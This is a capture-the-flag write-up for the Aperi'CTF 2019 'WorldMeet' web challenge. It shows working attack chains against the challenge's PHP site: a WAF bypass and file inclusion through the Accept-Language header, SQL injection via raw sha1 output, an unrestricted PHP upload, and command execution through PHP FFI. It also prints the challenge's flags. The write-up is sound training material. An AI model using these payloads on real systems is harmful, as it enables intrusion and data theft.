Aperi’CTF 2019 - WorldMeet
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | WorldMeet | Web | 250 | 7 |
Aperi’CTF 2019 | WorldMeet | Web | 175 | 7 |
Aperi’CTF 2019 | WorldMeet | Web | 50 | 7 |
Aperi’CTF 2019 | WorldMeet | Web | 175 | 6 |
Le fondateur du site web “WorldMeet” souhaite faire auditer son site web, Aperi’Kube vous confie donc cette mission de la plus haute importance !
URI : https://worldmeet.aperictf.fr
https://worldmeet.aperictf.fr
TL;DR
LFI in Accept-Language Header, need to use filter convert.iconv to bypass WAF. Discover admin path thanks to LFI, read admin page and discover sha1($x,TRUE) SQLi. Exploit SQLi using local bruteforce. Access to admin debug page, disclose opcache path and FFI extension.
Methodology
LFI
Trigger the LFI
We first reach the website, and got an homepage in french (FR browser) with a french flag:
Since we do not provide language information except in our Accept-Language
header, let’s edit the header and see if the image change:
French header:
curl -X POST -H "Accept-Language: fr" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src="img/fr.png"/>
English header:
curl -X POST -H "Accept-Language: en" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src="img/en.png"/>
Wrong header:
curl -X POST -H "Accept-Language: xx" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src=""/>
We can investigate with wrong headers:
curl -X POST -H "Accept-Language: xx" https://worldmeet.aperictf.fr | head -n 4
<br />
<b>Warning</b>: include(xx.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>12</b><br />
<br />
<b>Warning</b>: include(): Failed opening 'xx.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>12</b><br />
We can see that the script is including our header and does something like:
<?php
include(explode(",",$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0].".php");
?>
We can try to load index.php
as page by setting our Accept-Language
to index
(note: the .php
is already added by the script).
curl -X POST -H "Accept-Language: index" https://worldmeet.aperictf.fr
<b>Fatal error</b>: Allowed memory size of 134217728 bytes exhausted (tried to allocate 4096 bytes) in <b>/var/www/html/index.php</b> on line <b>8</b><br />
Okey, we’ve got an infinite self-inclusion loop which causes php to crash, the LFI has been triggered !
Bypass the WAF
Since we triggered the LFI, we can try to exploit it with the famous php base64 wrapper php://filter/convert.base64-encode/resource=
and disclose the source code:
curl -X POST -H "Accept-Language: php://filter/convert.base64-encode/resource=index" https://worldmeet.aperictf.fr
WAF Protection Enabled !<br>
[DEBUG] alert due to <b>php://filter/convert.base64</b>
There is a Web Application Firewall which is triggered due to php://filter/convert.base64
:/. Other filter/wrapper like zlib, read (rot13, …), expect, data, input and phar are disabled or blocked as well.
Since we know that convert.base64 is blocked, we can dig into convert filter: https://www.php.net/manual/en/filters.convert.php
We can see on the Example #3
that there is a convert.iconv.*
filter with an example: convert.iconv.utf-16le.utf-8
. Let’s adapt our payload with this filter:
curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-16le.utf-8/resource=index" https://worldmeet.aperictf.fr
<b>Warning</b>: include(): iconv stream filter ("utf-16le"=>"utf-8"): invalid multibyte sequence in <b>/var/www/html/index.php</b> on line <b>12</b><br />
㼼桰猊獥楳湯獟慴瑲⤨敲畱物彥湯散∨慷彦堶慬楆牋㙉煄瑮祸瀮灨⤢␊慬杮㴠䀠硥汰摯⡥ⰢⰢ⑀卟剅䕖孒䠧呔彐䍁䕃呐䱟乁啇䝁❅⥝せ㭝ਊ晩⠠⑀卟卅䥓乏❛摡業❮⁝㴽‽牔敵笩 †栠慥敤⡲䰢捯瑡潩㩮⼠㑦地積呦晖㕙㍲橔∯㬩 †攠楸⡴㬩紊汥敳††湩汣摵⡥氤湡⸢桰≰㬩⼠ 灁牥❩畋敢›潈数礠畯甠敳桰㩰⼯楦瑬牥振湯敶瑲椮潣癮甮晴㠭甮晴ㄭ⼶敲潳牵散㸿㰊䐡䍏奔䕐栠浴㹬㰊瑨汭氠湡㵧㰢㴿䀠潮獸⡳氤湡⥧㼠∾ਾ††格慥牰晥硩∽杯›瑨灴⼺漯灧洮⽥獮∣ਾ††††洼瑥档牡敳㵴唢䙔㠭•㸯 †††㰠敭慴栠瑴⵰煥極㵶堢唭ⵁ潃灭瑡扩敬•潣瑮湥㵴䤢㵅摥敧㸢ਠ††††琼瑩敬圾牯摬敭瑥貟㲍琯瑩敬ਾ††††洼瑥慮敭∽楶睥潰瑲•潣瑮湥㵴眢摩桴搽癥捩ⵥ楷瑤ⱨ椠
...
Okey, we’ve got a valid answer. After few tries with different encodings, I managed to find this one which is pretty good for our case:
curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=index" https://worldmeet.aperictf.fr
<?php
session_start();
require_once("waf_6XlaFiKrI6Dqntxy.php");
$lang = @explode(",",@$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0];
if (@$_SESSION['admin'] === True){
header("Location: /f40WMzfTVfY5r3Tj/");
exit();
}else{
include($lang.".php"); // Aperi'Kube: Hope you used php://filter/convert.iconv.utf-8.utf-16/resource=
}
?>
<!DOCTYPE html>
<html lang="<?= @noxss($lang) ?>">
<head prefix="og: http://ogp.me/ns#">
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>WorldMeet 🌍</title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/parallax/3.1.0/parallax.min.js"></script>
<link href="https://fonts.googleapis.com/css?family=Beth+Ellen|Open+Sans&display=swap" rel="stylesheet">
<link href="style.css" rel="stylesheet">
</head>
<body><div id="scene"><div id="bg" data-depth="0.2"></div></div>
<header><?= @$headline ?></header>
<img id="flag" src="<?= @$flag; ?>"/>
<div id="online"><h1><?= @$online ?></h1>
<div class="people"><span class="color_F">Lily - Boston - USA</span></div>
<div class="people"><span class="color_M">Piotr - Warsaw - Poland</span></div>
<div class="people"><span class="color_F">Olga - Lviv - Ukraine</span></div>
<div class="people"><span class="color_M">Robert - Bucharest - Romania</span></div>
<div class="people"><span class="color_M">Ahmet - Istanbul - Turkey</span></div>
<div class="people"><span class="color_M">Mohamed - Cairo - Egypt</span></div>
<div class="people"><span class="color_F">Bella - Tucson - USA</span></div>
<div class="people"><span class="color_M">Aldo - Turin - Italy</span></div>
...
</div><!--
--><div id="logininsc">
<div id="login">
<h1>Login</h1>
<?= @$login ?>: <input type="text" placeholder="login"/>
<?= @$password ?>: <input type="password" placeholder="password"/>
<input type="submit" value="<?= @$connect; ?>"/>
</div>
</div>
<script>
var scene = document.getElementById('scene');
var parallaxInstance = new Parallax(scene);</script>
</body>
</html>
...
Here it is, we’ve got the source code of index.php
! We can also retrieve the WAF source code:
curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=waf_6XlaFiKrI6Dqntxy" https://worldmeet.aperictf.fr
<?php
// FLAG 1: APRK{WHAT_AN_LF!}
$blacklist = ["compress.zlib","php://filter/read","php://filter/zlib","php://filter/convert.base64",];
$b1 = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
$b2 = strtolower(urldecode($_SERVER['HTTP_ACCEPT_LANGUAGE']));
foreach($blacklist as $b) {
if ((stripos($b1,$b) !== false) || (stripos($b2,$b) !== false)){
exit("WAF Protection Enabled !<br>
[DEBUG] alert due to <b>".htmlspecialchars($b, ENT_QUOTES, 'UTF-8')."</b>");
}
}
?>
Flag 1 : APRK{WHAT_AN_LF!}
Admin
Looking at the index.php
source code, we can see a redirect for authenticated administrators:
<?php
if (@$_SESSION['admin'] === True){
header("Location: /f40WMzfTVfY5r3Tj/");
exit();
}
?>
Let’s access https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/
We can confirm that we found the admin page. We can disclose the source code with our LFI:
curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=f40WMzfTVfY5r3Tj/index" https://worldmeet.aperictf.fr
<?php
session_start();
require_once("../waf_6XlaFiKrI6Dqntxy.php");
$lang = @explode(",",@$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0];
include("../".$lang.".php");
$link = mysqli_connect("WorldMeet-db", "user", "XoMOFVtYFKRJeB75BwxQ4HGMCpNFolWIDMnhrnaa", "accounts");
$req = "SELECT * FROM accounts WHERE user=?";
/*
CREATE TABLE `accounts` (
`user`
`passwd`
`description`
);
*/
function secure_hash($p){
return sha1($p,"my_s3cure_salt"); // sha1(new.salt) in hexa
}
if (isset($_GET['logout'])){
$_SESSION['admin'] = False;
header("Location: ../"); // Admin page
exit();
}
if (isset($_POST['user']) && isset($_POST['pass'])){
$user = $_POST['user'];
$pass = $_POST['pass'];
$req .= " AND passwd LIKE '".secure_hash($pass)."';";
$stmt = $link->prepare($req);
$stmt->bind_param("s", $user);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc();
$stmt->close();
if($result){
$_SESSION['admin'] = True;
}else{
$_SESSION['admin'] = False;
header("Location: ../"); // Admin page
exit();
}
}
?>
<!DOCTYPE html>
<html lang="<?= @noxss($lang) ?>">
<head prefix="og: http://ogp.me/ns#">
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>WorldMeet 🌍</title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<link href="https://fonts.googleapis.com/css?family=Beth+Ellen|Open+Sans&display=swap" rel="stylesheet">
<link href="../style.css" rel="stylesheet">
</head>
<body><div id="bg"></div>
<header>Admin</header>
<img id="flag" src="../<?= @$flag; ?>"/>
<?php if (@$_SESSION['admin'] === True){ ?>
<div id="online">
Welcome Admin !<br>
Page is still under development.<!--
- <a href="debug_Mm9vFfnE4H7b3WP2.php">Go to debug page</a>
-->
</div>
<?php }else{
?>
<div id="login"><form action="" method="POST">
Username:<br/>
<input type="text" name="user" id="inp_user"/><br/>
Password:<br/>
<input type="password" name="pass" id="inp_pass"/><br/>
<input type="submit" value="<?= @$connect; ?>"/>
</form></div>
<?php } ?>
</body>
</html>
From this we’ve got a new page called debug_Mm9vFfnE4H7b3WP2.php
:
<?php
session_start();
if (@$_SESSION['admin'] === True){
echo(get_flag_2());
phpinfo();
}
?>
SQLi
According to the source code, the second flag is displayed when we’ve got $_SESSION['admin'] === True
, in other words, when we are logged in as an admin.
If we reverse the admin page, we know that we need to find a valid SQL statement to log in as an admin. Moreover, the query is half prepared half concatenated. Since a prepared SQL query can hardly be exploited, we’ll focus on the concatenated part:
<?php
// ...
"passwd LIKE ''".secure_hash($pass)."';";
?>
Secure_hash is a defined function:
<?php
function secure_hash($p){
return sha1($p,"my_s3cure_salt"); // sha1(new.salt) in hexa
}
?>
Looking at sha1 php documentation we can see that the second parameter isn’t supposed to be a salt but a boolean. This boolean, when set to True, is used to get sha1 in raw format which is not in hexadecimals contrary to what was in comment.
In fact secure_hash
is a raw sha1() function.
Since we’ve got raw data from secure_hash
we could try to inject some characters such as quote or hashtag to get a valid query.
After few test we can get a valid query when our raw start with %'#
: % is a wildcard for LIKE query in SQL and ‘# closes the query. We would get a query like:
<?php
$req = "SELECT * FROM accounts WHERE user=? AND passwd LIKE '%'#randomcommentdata...';";
?>
The previous query uses a wildcard as a password, we just need to guess the admin username.
To get a sha1() raw starting with %'#
we will do a little bruteforce on our own machine:
<?php
function startsWith($string, $startString){
$len = strlen($startString);
return (substr($string, 0, $len) === $startString);
}
function secure_hash($p){
return sha1($p,"my_s3cure_salt"); // sha1(new.salt) in hexa
}
for($i=0;$i<10000000;$i++){
$x = secure_hash($i);
if(startsWith($x,"%'#")){
print($i);
exit();
}
}
?>
php -f bf.php
We’ve got a hash starting with %'#
for sha1("5184705",True)
!
We can now try to log in with admin
as user and 5184705
as password.
Now we are connected as admin and we can reach the debug page (debug_Mm9vFfnE4H7b3WP2.php):
We’ve got flag number 2: FLAG 2: APRK{Sh4-SQLi-Little-BF}
Recon and file upload
From this we can get a lot of information including:
- Disabled functions
- php version (7.4-dev)
- Module named FFI
- OPCache module with php path: G4yUcRuZFLOxnyNu.php
OPCache.preload allows the apache server to load a php file before the execution of a script, such as an implicit include() function. Lets use our LFI to display the OPCache file:
<?php
// FLAG 3: APRK{H1DD3N_IN_0P_PR3L04D}
function get_flag_2(){
return "FLAG 2: APRK{Sh4-SQLi-Little-BF}";
}
function noxss($s){
return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
function get_upload_folder(){
return "./secure__upload__folder/";
}
?>
We’ve got flag number 3: APRK{H1DD3N_IN_0P_PR3L04D}
We also see our noxss() function which was not found in other php files and the function get_upload_folder(). According to the last function, there must be an upload file.
With some fuzzing (or guess), we visit /f40WMzfTVfY5r3Tj/upload.php and get redirected. There must be a php file behind. We use our LFI and display the code:
<?php
header("Location: /"); // Back to home, this page is for debug only
/* TODO: DEBUG form upload */
if(isset($_FILES['image'])){
$errors= array();
if($file_size > 2097152){
$errors[]='File size must be excately 2 MB';
exit();
}
move_uploaded_file($_FILES['image']['tmp_name'],get_upload_folder().$_FILES['image']['name']);
}
exit();
?>
Okey, this is a simple file upload in a php script which stores our file to the folder ./secure__upload__folder/
(see get_upload_folder()). There is a header("Location: /")
in the beginning of the script but there is no exit, we can upload a file without getting redirected.
Let’s upload a php file:
mytest.php:
<?php
phpinfo();
?>
curl -F 'image=@/home/zeecka/mytest.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php
Now we can reach our file at the address https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/mytest.php
. we’ve got a php code execution thanks to the file upload.
Command execution
As we saw before, we’ve got a PHP 7.4 - Dev, a lot of disable functions and the FFI extension.
If we search about PHP FFI on internet (FFI github), we can see that we can use C functions. We can try to use the C system
function inside an uploaded php file. Let’s try a simple ls -la > output.txt
. Note that we store the output inside a file since system
return an integer in C:
test1.php:
<?php
$ffi = FFI::cdef(
"int system(char *command);",
"libc.so.6");
$ffi->system("ls > output.txt");
?>
curl -F 'image=@/home/zeecka/test1.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php
https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/test1.php
https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/output.txt
We’ve got the following output:
debug_Mm9vFfnE4H7b3WP2.php index.php secure__upload__folder upload.php
No flag here, maybe in the parent folder ?
test2.php:
<?php
$ffi = FFI::cdef(
"int system(char *command);",
"libc.so.6");
$ffi->system("ls .. > output2.txt");
?>
curl -F 'image=@/home/zeecka/test2.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php
https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/test2.php
https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/output2.txt
en.php f40WMzfTVfY5r3Tj fr-FR.php G4yUcRuZFLOxnyNu.php index.php waf_6XlaFiKrI6Dqntxy.php
en-US.php FLAG4_UY7Kkr8goa.txt fr.php img style.css
We’ve got filename FLAG4_UY7Kkr8goa.txt !
https://worldmeet.aperictf.fr/FLAG4_UY7Kkr8goa.txt
We’ve got the last flag: FLAG 4: APRK{PHP_FF1_EZ_RCE}
Unexpected way
Some challengers manage to solve the last step using FileIterator
and DirectoryIterator
:
<?php
$dir = new DirectoryIterator('/var/www/html/');
foreach ($dir as $fileinfo) {
if (!$fileinfo->isDot()) {
print_r($fileinfo->getFilename());
echo('<br/>');
}
}
?>
Flags
FLAG 1: APRK{WHAT_AN_LF!}
FLAG 2: APRK{Sh4-SQLi-Little-BF}
FLAG 3: APRK{H1DD3N_IN_0P_PR3L04D}
FLAG 4: APRK{PHP_FF1_EZ_RCE}